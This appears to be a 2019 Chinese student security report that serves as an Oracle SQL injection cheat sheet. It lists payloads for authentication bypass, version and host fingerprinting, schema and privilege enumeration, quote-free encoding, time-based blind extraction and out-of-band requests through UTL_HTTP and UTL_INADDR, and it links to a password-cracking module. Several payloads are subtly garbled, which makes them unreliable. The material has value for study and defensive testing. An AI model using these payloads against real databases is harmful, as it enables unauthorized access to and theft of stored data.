

**ORACLE注入**

|  |  |
| --- | --- |
| **姓名：** | **骆硕** |
| **学号：** | **3116004512** |
| **院系：** | **智能制造学部** |
| **专业：** | **电子信息工程（信息安全）** |
| **指导老师：** | **温强** |

**报告提交时间：2019年06 月20日**

**1.默认数据库**

|  |  |
| --- | --- |
| 系统 | 适用于所有版本 |
| SYSAUX | 适用于所有版本 |

**2.注释掉查询**

注入后，以下内容可用于注释掉查询的其余部分：

|  |
| --- |
| 例子：  SELECT \* FROM Users WHERE username =''OR 1 = 1 - 'AND password =''; |

**3.测试版本**

|  |  |  |  |
| --- | --- | --- | --- |
| |  | | --- | | SELECT banner FROM v $ version WHERE banner LIKE'Oracle％'; | | SELECT banner FROM v $ version WHERE banner LIKE'TNS％'; | | SELECT version FROM v$instance; |   笔记：  Oracle中的所有SELECT语句都必须包含一个表。  dual 是一个虚拟表，可用于测试。 |

**4.数据库凭据**

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| |  | | --- | | SELECT name FROM v $ database; | | SELECT instance\_name FROM v $ instance | | SELECT global\_name FROM global\_name | | SELECT SYS.DATABASE\_NAME FROM DUAL |   当前数据库  用户数据库   |  | | --- | | SELECT DISTINCT owner FROM all\_tables; | |

**5.服务器主机名**

|  |
| --- |
| SELECT host\_name FROM v$instance; (Privileged) |
| SELECT UTL\_INADDR.get\_host\_name FROM dual; |
| SELECT UTL\_INADDR.get\_host\_name('10.0.0.1') FROM dual; |
| SELECT UTL\_INADDR.get\_host\_address FROM dual; |

**6.表和列**

|  |
| --- |
| 检索表  SELECT table\_name FROM all\_tables;  检索列  SELECT column\_name FROM all\_tab\_columns;  从列名称中查找表  SELECT column\_name FROM all\_tab\_columns WHERE table\_name ='Users';  从表名中查找列  SELECT table\_name FROM all\_tab\_tables WHERE column\_name ='password';  一次检索多个表  RTRIM(XMLAGG(XMLELEMENT(e,table\_name||',')).EXTRACT('//text()').EXTRACT('//text()') ,',') FROM all\_tables; |

**7.避免使用报价单**

与其他RDBMS不同，Oracle允许对表/列名进行编码。

|  |  |
| --- | --- |
| SELECT 0x09120911091 FROM dual; | 十六进制编码 |
| SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; | CHAR（）函数。 |

**8.字符串连接**

|  |
| --- |
| SELECT 'a'||'d'||'mi'||'n' FROM dual; |

**9.条件陈述**

|  |
| --- |
| SELECT CASE WHEN 1=1 THEN 'true' ELSE 'false' END FROM dual |

**10.定时**

|  |  |  |
| --- | --- | --- |
| 延时   |  | | --- | | SELECT UTL\_INADDR.get\_host\_address('non-existant-domain.com') FROM dual; |   繁重的时间延迟   |  | | --- | | AND (SELECT COUNT(\*) FROM all\_users t1, all\_users t2, all\_users t3, all\_users t4, all\_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all\_users WHERE rownum = 1),1,1)); | |

**11.特权**

|  |
| --- |
| SELECT privilege FROM session\_privs; |
| SELECT grantee, granted\_role FROM dba\_role\_privs; (Privileged) |

**12.带外通道**

**DNS请求**

|  |
| --- |
| SELECT UTL\_HTTP.REQUEST('http://localhost') FROM dual; |
| SELECT UTL\_INADDR.get\_host\_address('localhost.com') FROM dual; |

**13.密码破解**

|  |
| --- |
| <https://www.rapid7.com/db/modules/auxiliary/analyze/jtr_oracle_fast> |



